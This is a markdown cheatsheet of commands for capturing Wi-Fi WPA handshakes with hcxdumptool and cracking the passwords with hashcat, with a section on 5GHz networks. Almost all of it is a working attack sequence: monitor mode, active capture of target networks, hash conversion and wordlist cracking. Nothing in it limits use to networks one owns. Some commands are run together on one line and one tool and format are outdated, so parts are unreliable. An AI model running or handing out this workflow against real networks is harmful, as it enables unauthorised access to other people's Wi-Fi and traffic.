Cheatsheets/Wi-Fi_handshake_capture_cheatsheet.md

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# Wi-Fi Handshake Capture & Crack Cheatsheet 📡

## Table of Contents 📋

- [Preliminary Commands & Information Retrieval](#preliminary)
- [Capture & Conversion Phase](#capture)  
- [Additional Scans & Information](#additional)
- [Cracking Phase](#cracking)
- [5GHz Network Capturing Cheat Sheet](#5ghz)

## Preliminary Commands & Information Retrieval 🛠

**Secure Copy from Remote Device**

scp -r root@172.16.42.1:/root/example.pcapng /home/username/Desktop

📖 Downloads files from remote devices using SCP.

**Check Wireless Interfaces**  

iwconfig

📖 Displays wireless network interface details.

**Kill Interfering Services**

airmon-ng check kill

📖 Stops services that might interfere with wireless tools.

## Capture & Conversion Phase 🎯

**Set Wireless Card to Monitor Mode**

sudo ip link set wlan0 down sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

📖 Prepares the wireless card for capture.

**Capture Handshakes with hcxdumptool**

hcxdumptool -i wlan1 -o dumpfile.pcapng --active_beacon --enable_status=15

📖 Captures packets from networks.

**Convert Captured File for Hashcat**

hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng

📖 Converts packets for password cracking.

## Additional Scans & Information 📡

**Scan for Nearby Networks**

hcxdumptool --do_rcascan -i wlan1

📖 Scans and displays nearby networks.

## Cracking Phase 🔐

**Crack with Hashcat**

hashcat -m 22000 hash.hc22000 wordlist.txt

📖 Uses hashcat to attempt password cracks.

## 5GHz Network Capturing Cheat Sheet 📶

1. **Install Necessary Tools**

sudo apt-get install hcxdumptool hcxtools

2. **Check for 5GHz Support**

iw list

3. **Enable Monitor Mode**

sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

4. **Set to 5GHz Channel**

sudo iw dev wlan0 set channel 36

5. **Identify Target Networks**

sudo hcxdumptool -i wlan0 --scan

6. **Capture Traffic**

sudo hcxdumptool -i wlan0 --enable_status=1 -o output.pcapng --filterlist=filterlist.txt --filtermode=2

7. **Analyze Captured Traffic**

hcxpcaptool -z output.hccapx output.pcapng

8. **Troubleshooting**

sudo iw reg get sudo iw reg set US

9. **Switch Back to 2.4GHz**

sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo iw dev wlan0 set channel 6
sudo ip link set wlan0 up

10. **List 2.4GHz Channels**

 ```
 iw phy phy0 channels
 iwlist wlan0 channel
 ```

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